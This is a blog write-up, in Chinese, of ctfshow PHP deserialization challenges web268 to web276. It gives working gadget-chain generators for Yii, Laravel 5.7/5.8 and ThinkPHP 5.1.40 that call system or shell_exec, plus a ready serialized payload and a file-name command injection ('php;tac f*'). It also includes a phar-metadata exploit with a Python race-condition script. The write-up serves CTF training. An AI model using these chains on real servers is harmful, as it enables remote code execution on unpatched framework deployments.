1174 字
6 分钟
ctfshow-反序列化_02

web268/web269/web270#

题面跟上一题差不多,当然同样的链子用不了 新链子:

<?php
namespace yii\rest {
    class Action
    {
        public $checkAccess;
    }
    class IndexAction
    {
        public function __construct($func, $param)
        {
            $this->checkAccess = $func;
            $this->id = $param;
        }
    }
}
namespace yii\web {
    abstract class MultiFieldSession
    {
        public $writeCallback;
    }
    class DbSession extends MultiFieldSession
    {
        public function __construct($func, $param)
        {
            $this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
        }
    }
}
namespace yii\db {
    use yii\base\BaseObject;
    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct($func, $param)
        {
            $this->_dataReader = new \yii\web\DbSession($func, $param);
        }
    }
}
namespace {
    $exp = new \yii\db\BatchQueryResult('shell_exec', 'cp /f* 1.txt'); //此处写命令
    echo(base64_encode(serialize($exp)));
}
 

payload:

?r=//backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNzoieWlpXHdlYlxEYlNlc3Npb24iOjE6e3M6MTM6IndyaXRlQ2FsbGJhY2siO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czoxMDoic2hlbGxfZXhlYyI7czoyOiJpZCI7czoxMjoiY3AgL2YqIDEudHh0Ijt9aToxO3M6MzoicnVuIjt9fX0=

把根目录flag复制到网站目录的1.txt了,访问即可得到flag

顺便记录下Yii的链子们:

poc_1 poc_2 poc_3 poc_4 poc_5 poc_6

web271 Lavavel5.7#

d280e0972118cdc74f41bad2df458559_MD5 从注释中了解到网页架构是Laravel5.7 从网上找反序列化链子

查架构->找链子->改改->用

<?php
//gadgets.php
namespace Illuminate\Foundation\Testing{
        class PendingCommand{
                protected $command;
                protected $parameters;
                protected $app;
                public $test;
                public function __construct($command, $parameters,$class,$app)
            {
                $this->command = $command;
                $this->parameters = $parameters;
                $this->test=$class;
                $this->app=$app;
            }
        }
}
namespace Illuminate\Auth{
        class GenericUser{
                protected $attributes;
                public function __construct(array $attributes){
                $this->attributes = $attributes;
            }
        }
}
namespace Illuminate\Foundation{
        class Application{
                protected $hasBeenBootstrapped = false;
                protected $bindings;
                public function __construct($bind){
                        $this->bindings=$bind;
                }
        }
}
namespace{
        echo "data=".urlencode(serialize(new Illuminate\Foundation\Testing\PendingCommand("system",array('tac$IFS/f*'),new Illuminate\Auth\GenericUser(array("expectedOutput"=>array("0"=>"1"),"expectedQuestions"=>array("0"=>"1"))),new Illuminate\Foundation\Application(array("Illuminate\Contracts\Console\Kernel"=>array("concrete"=>"Illuminate\Foundation\Application"))))));
  //空格使用$IFS绕
}
?>

web272/web273 Lavavel5.8#

<?php

namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;

        public function __construct($events="",$event="")
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver = "system";
    }
}

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection = 'tac$IFS/f*';
    }
}

namespace{
    $d = new Illuminate\Bus\Dispatcher();
    $b = new Illuminate\Broadcasting\BroadcastEvent();
    $p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
    echo 'data='.urlencode(serialize($p));
}

?>

在源代码中找到 70ab2f60d6021780c2d4c83d53f807e9_MD5

web274 Thinkphp5.1.40反序列化漏洞#

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["calc.exe","calc"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];
 
    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

通过get的方式传参lin

38a658aecacda5488cf4084b084826e9_MD5

web275#

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

payload:

url/?fn=php;tac f*

web276 phar反序列化#

i chi - 题目#

 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

where is flag?

ni - 关于phar的#

php反序列化拓展攻击详解—phar

使用xxd指令以16进制查看文件 717a2a83a9f30fb46fca8bae8c5c2190_MD5 最前面的<?php xxx; __HALT_COMPILER();?>是phar文件标识

否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。 可以加个GIF89a之类的文件头

san - 解题#

(https://blog.csdn.net/m0_72125469/article/details/134856592)

注意:在尝试生成phar包时记得在php.ini关闭phar只读

生成phar包的脚本:

<?php
class filter{
    public $filename="1;tac f*";
    public $filecontent;
    public $evilfile=true;
    public $admin = true;
}
$a=new filter();
@unlink('phar.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('phar.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($a);//写入meta-data 这里进行序列化
$phar->addFromString("phar.txt","phar");  //添加要压缩的文件
$phar->stopBuffering();

此时在根目录下生成了phar.phar文件

接下来进行条件竞争,持续提交phar包,并抓取其中的flag

import requests
import threading
url = 'http://1c5a3df3-3389-46b3-b86c-e9abba33461c.challenge.ctf.show/'
data = open('../php_code/phar.phar', 'rb').read()
flag = True
def write(): # 写入phar.phar
    requests.post(url+'?fn=phar.phar', data=data)#post方法提交数据 数据就是从本地phar文件中获取的二进制数据(图像视频什么的必须使用二进制方式读取否则乱码)
def unserialize(): # 触发反序列化
    global flag  #在函数内部声明一个全局变量 函数内部修改变量 必须使用global
    r = requests.get(url+'?fn=phar://phar.phar')#发送get请求 以phar方式进行读取我们传入的phar文件 在没删除之前快速读取
    #请求如果获取到内容了保存在r变量中
    if 'ctfshow{' in r.text and flag:#在内容中如果存在ctfshow字样
        print(r.text)
        flag = False
while flag: # 线程条件竞争,直到读到flag
    threading.Thread(target = write).start() #开启一个线程 循环执行线程里面的函数
    threading.Thread(target = unserialize).start() #同理 直到输出了r.text flag为假 才会停止执行

运行后得到flag

0a127a7b24e32005a66dd0b6418ee12b_MD5

ctfshow-反序列化_02
http://orxiain.life/posts/ctfshow-反序列化_02/
作者
𝚘𝚛𝚡𝚒𝚊𝚒𝚗.
发布于
2024-07-29
许可协议
CC BY-NC-SA 4.0